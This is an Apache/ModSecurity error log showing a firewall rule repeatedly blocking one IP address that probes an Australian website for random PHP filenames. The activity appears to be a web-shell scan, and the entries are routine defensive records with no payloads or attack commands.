[Sun Apr 19 02:35:49.616568 2026] [:error] [pid 32252:tid 32255] [client 20.91.197.181:52617] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gkojz.php"] [unique_id "aePPBeXl4Yc-Lt5fJ9iqPAAAAQE"]
[Sun Apr 19 02:35:50.188913 2026] [:error] [pid 33517:tid 33531] [client 20.91.197.181:50018] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gkojz.php"] [unique_id "aePPBn4Zz-rubR1wiZ-5uwAAAMw"]
[Sun Apr 19 02:35:50.733660 2026] [:error] [pid 41277:tid 41285] [client 20.91.197.181:49991] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gkojz.php"] [unique_id "aePPBkH3ayszMLZYflsDxwAAAYY"]
[Sun Apr 19 02:35:51.295568 2026] [:error] [pid 32252:tid 32275] [client 20.91.197.181:47405] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gkojz.php"] [unique_id "aePPB-Xl4Yc-Lt5fJ9iqPwAAARU"]
[Sun Apr 19 02:35:51.939323 2026] [:error] [pid 32252:tid 32267] [client 20.91.197.181:52635] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/isvqf.php"] [unique_id "aePPB-Xl4Yc-Lt5fJ9iqQAAAAQ0"]
[Sun Apr 19 02:35:52.606655 2026] [:error] [pid 32165:tid 32189] [client 20.91.197.181:52645] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/isvqf.php"] [unique_id "aePPCKe2vKwEk_N0Brb-dwAAABQ"]
[Sun Apr 19 02:35:53.159317 2026] [:error] [pid 32166:tid 32205] [client 20.91.197.181:52083] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/isvqf.php"] [unique_id "aePPCZCHNkWwdiZnafLWAgAAAEc"]
[Sun Apr 19 02:35:53.722004 2026] [:error] [pid 33517:tid 33542] [client 20.91.197.181:52644] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/isvqf.php"] [unique_id "aePPCX4Zz-rubR1wiZ-5vwAAANc"]
[Sun Apr 19 02:35:54.280211 2026] [:error] [pid 32252:tid 32263] [client 20.91.197.181:55196] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ppxhp.php"] [unique_id "aePPCuXl4Yc-Lt5fJ9iqRQAAAQk"]
[Sun Apr 19 02:35:54.873804 2026] [:error] [pid 32167:tid 32239] [client 20.91.197.181:52619] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ppxhp.php"] [unique_id "aePPCkyD4Jm27Mb3NJiTLAAAAI4"]
[Sun Apr 19 02:35:55.468997 2026] [:error] [pid 32165:tid 32187] [client 20.91.197.181:52629] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ppxhp.php"] [unique_id "aePPC6e2vKwEk_N0Brb-eAAAABI"]
[Sun Apr 19 02:35:56.067279 2026] [:error] [pid 32165:tid 32179] [client 20.91.197.181:52623] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ppxhp.php"] [unique_id "aePPDKe2vKwEk_N0Brb-egAAAAo"]
[Sun Apr 19 02:35:56.905760 2026] [:error] [pid 60910:tid 60917] [client 20.91.197.181:52065] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/whtrq.php"] [unique_id "aePPDHFWunkyacYqsD1KLgAAAUU"]
[Sun Apr 19 02:35:57.520350 2026] [:error] [pid 60910:tid 60916] [client 20.91.197.181:52078] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/whtrq.php"] [unique_id "aePPDXFWunkyacYqsD1KMAAAAUQ"]
[Sun Apr 19 02:35:58.151781 2026] [:error] [pid 60910:tid 60920] [client 20.91.197.181:52662] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/whtrq.php"] [unique_id "aePPDnFWunkyacYqsD1KMgAAAUg"]
[Sun Apr 19 02:35:58.861100 2026] [:error] [pid 33517:tid 33532] [client 20.91.197.181:52034] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/whtrq.php"] [unique_id "aePPDn4Zz-rubR1wiZ-5wwAAAM0"]
[Sun Apr 19 02:35:59.420669 2026] [:error] [pid 60910:tid 60913] [client 20.91.197.181:47365] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rkiea.php"] [unique_id "aePPD3FWunkyacYqsD1KOAAAAUE"]
[Sun Apr 19 02:35:59.963110 2026] [:error] [pid 33517:tid 33539] [client 20.91.197.181:52663] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rkiea.php"] [unique_id "aePPD34Zz-rubR1wiZ-5xAAAANQ"]
[Sun Apr 19 02:36:00.525570 2026] [:error] [pid 33517:tid 33527] [client 20.91.197.181:52616] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rkiea.php"] [unique_id "aePPEH4Zz-rubR1wiZ-5xQAAAMg"]
[Sun Apr 19 02:36:01.153023 2026] [:error] [pid 32165:tid 32191] [client 20.91.197.181:52639] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rkiea.php"] [unique_id "aePPEae2vKwEk_N0Brb-fQAAABY"]
[Sun Apr 19 02:36:01.931255 2026] [:error] [pid 33517:tid 33528] [client 20.91.197.181:52553] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ckk.php"] [unique_id "aePPEX4Zz-rubR1wiZ-5zAAAAMk"]
[Sun Apr 19 02:36:02.511233 2026] [:error] [pid 32167:tid 32244] [client 20.91.197.181:49992] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ckk.php"] [unique_id "aePPEkyD4Jm27Mb3NJiTPwAAAJM"]
[Sun Apr 19 02:36:03.087395 2026] [:error] [pid 33517:tid 33526] [client 20.91.197.181:55185] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ckk.php"] [unique_id "aePPE34Zz-rubR1wiZ-5zgAAAMc"]
[Sun Apr 19 02:36:03.673057 2026] [:error] [pid 32166:tid 32201] [client 20.91.197.181:52086] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ckk.php"] [unique_id "aePPE5CHNkWwdiZnafLWCQAAAEM"]
[Sun Apr 19 02:36:04.344280 2026] [:error] [pid 32166:tid 32220] [client 20.91.197.181:47373] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/baixy.php"] [unique_id "aePPFJCHNkWwdiZnafLWCwAAAFY"]
[Sun Apr 19 02:36:04.918252 2026] [:error] [pid 33517:tid 33536] [client 20.91.197.181:47400] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/baixy.php"] [unique_id "aePPFH4Zz-rubR1wiZ-50QAAANE"]
[Sun Apr 19 02:36:05.475436 2026] [:error] [pid 60910:tid 60926] [client 20.91.197.181:52650] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/baixy.php"] [unique_id "aePPFXFWunkyacYqsD1KPgAAAU4"]
[Sun Apr 19 02:36:06.092035 2026] [:error] [pid 60910:tid 60912] [client 20.91.197.181:52094] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/baixy.php"] [unique_id "aePPFnFWunkyacYqsD1KQgAAAUA"]
[Sun Apr 19 02:36:06.731655 2026] [:error] [pid 32166:tid 32216] [client 20.91.197.181:52042] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8xyz.php"] [unique_id "aePPFpCHNkWwdiZnafLWEAAAAFI"]
[Sun Apr 19 02:36:07.317555 2026] [:error] [pid 33517:tid 33527] [client 20.91.197.181:50008] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8xyz.php"] [unique_id "aePPF34Zz-rubR1wiZ-51AAAAMg"]
[Sun Apr 19 02:36:07.979112 2026] [:error] [pid 33517:tid 33524] [client 20.91.197.181:52091] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8xyz.php"] [unique_id "aePPF34Zz-rubR1wiZ-51QAAAMU"]
[Sun Apr 19 02:36:08.591112 2026] [:error] [pid 33517:tid 33533] [client 20.91.197.181:47363] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8xyz.php"] [unique_id "aePPGH4Zz-rubR1wiZ-51wAAAM4"]
[Sun Apr 19 02:36:09.218020 2026] [:error] [pid 33517:tid 33535] [client 20.91.197.181:50020] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/106.php"] [unique_id "aePPGX4Zz-rubR1wiZ-52AAAANA"]
[Sun Apr 19 02:36:09.865267 2026] [:error] [pid 41277:tid 41301] [client 20.91.197.181:55493] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/106.php"] [unique_id "aePPGUH3ayszMLZYflsDzAAAAZY"]
[Sun Apr 19 02:36:10.484328 2026] [:error] [pid 41277:tid 41286] [client 20.91.197.181:52032] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/106.php"] [unique_id "aePPGkH3ayszMLZYflsDzgAAAYc"]
[Sun Apr 19 02:36:11.053365 2026] [:error] [pid 60910:tid 60924] [client 20.91.197.181:52652] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/106.php"] [unique_id "aePPG3FWunkyacYqsD1KRgAAAUw"]
[Sun Apr 19 02:36:11.614679 2026] [:error] [pid 60910:tid 60931] [client 20.91.197.181:50029] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aePPG3FWunkyacYqsD1KRwAAAVM"]
[Sun Apr 19 02:36:12.412560 2026] [:error] [pid 32167:tid 32241] [client 20.91.197.181:47377] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aePPHEyD4Jm27Mb3NJiTRAAAAJA"]
[Sun Apr 19 02:36:12.973554 2026] [:error] [pid 41277:tid 41284] [client 20.91.197.181:52651] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aePPHEH3ayszMLZYflsD0AAAAYU"]
[Sun Apr 19 02:36:13.549022 2026] [:error] [pid 32165:tid 32176] [client 20.91.197.181:50000] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aePPHae2vKwEk_N0Brb-ggAAAAc"]
[Sun Apr 19 02:36:14.122318 2026] [:error] [pid 32167:tid 32228] [client 20.91.197.181:52056] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cwclass.php"] [unique_id "aePPHkyD4Jm27Mb3NJiTRwAAAIM"]
[Sun Apr 19 02:36:14.675090 2026] [:error] [pid 32167:tid 32226] [client 20.91.197.181:52656] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cwclass.php"] [unique_id "aePPHkyD4Jm27Mb3NJiTSAAAAIE"]
[Sun Apr 19 02:36:15.294784 2026] [:error] [pid 41277:tid 41289] [client 20.91.197.181:50019] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cwclass.php"] [unique_id "aePPH0H3ayszMLZYflsD1QAAAYo"]
[Sun Apr 19 02:36:15.881281 2026] [:error] [pid 60910:tid 60929] [client 20.91.197.181:47376] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cwclass.php"] [unique_id "aePPH3FWunkyacYqsD1KSQAAAVE"]
[Sun Apr 19 02:36:16.461810 2026] [:error] [pid 33517:tid 33525] [client 20.91.197.181:47395] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aePPIH4Zz-rubR1wiZ-53QAAAMY"]
[Sun Apr 19 02:36:17.454140 2026] [:error] [pid 32252:tid 32255] [client 20.91.197.181:47414] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aePPIeXl4Yc-Lt5fJ9iqWwAAAQE"]
[Sun Apr 19 02:36:18.007624 2026] [:error] [pid 32252:tid 32264] [client 20.91.197.181:50025] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aePPIuXl4Yc-Lt5fJ9iqXwAAAQo"]
[Sun Apr 19 02:36:18.640059 2026] [:error] [pid 60910:tid 60935] [client 20.91.197.181:50030] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aePPInFWunkyacYqsD1KSwAAAVc"]
[Sun Apr 19 02:36:19.265361 2026] [:error] [pid 41277:tid 41283] [client 20.91.197.181:52671] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/41.php"] [unique_id "aePPI0H3ayszMLZYflsD6QAAAYQ"]
[Sun Apr 19 02:36:20.057028 2026] [:error] [pid 41277:tid 41294] [client 20.91.197.181:47398] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/41.php"] [unique_id "aePPJEH3ayszMLZYflsD7AAAAY8"]
[Sun Apr 19 02:36:20.589315 2026] [:error] [pid 32252:tid 32269] [client 20.91.197.181:47379] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/41.php"] [unique_id "aePPJOXl4Yc-Lt5fJ9iqZQAAAQ8"]
[Sun Apr 19 02:36:21.171716 2026] [:error] [pid 33517:tid 33531] [client 20.91.197.181:49994] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/41.php"] [unique_id "aePPJX4Zz-rubR1wiZ-53wAAAMw"]
[Sun Apr 19 02:36:21.705221 2026] [:error] [pid 33517:tid 33519] [client 20.91.197.181:52632] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww.php"] [unique_id "aePPJX4Zz-rubR1wiZ-54QAAAMA"]
[Sun Apr 19 02:36:22.240979 2026] [:error] [pid 32252:tid 32274] [client 20.91.197.181:49993] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww.php"] [unique_id "aePPJuXl4Yc-Lt5fJ9iqZwAAARQ"]
[Sun Apr 19 02:36:22.766997 2026] [:error] [pid 60910:tid 60933] [client 20.91.197.181:50032] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww.php"] [unique_id "aePPJnFWunkyacYqsD1KUwAAAVU"]
[Sun Apr 19 02:36:23.395931 2026] [:error] [pid 60910:tid 60934] [client 20.91.197.181:52655] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ww.php"] [unique_id "aePPJ3FWunkyacYqsD1KVQAAAVY"]
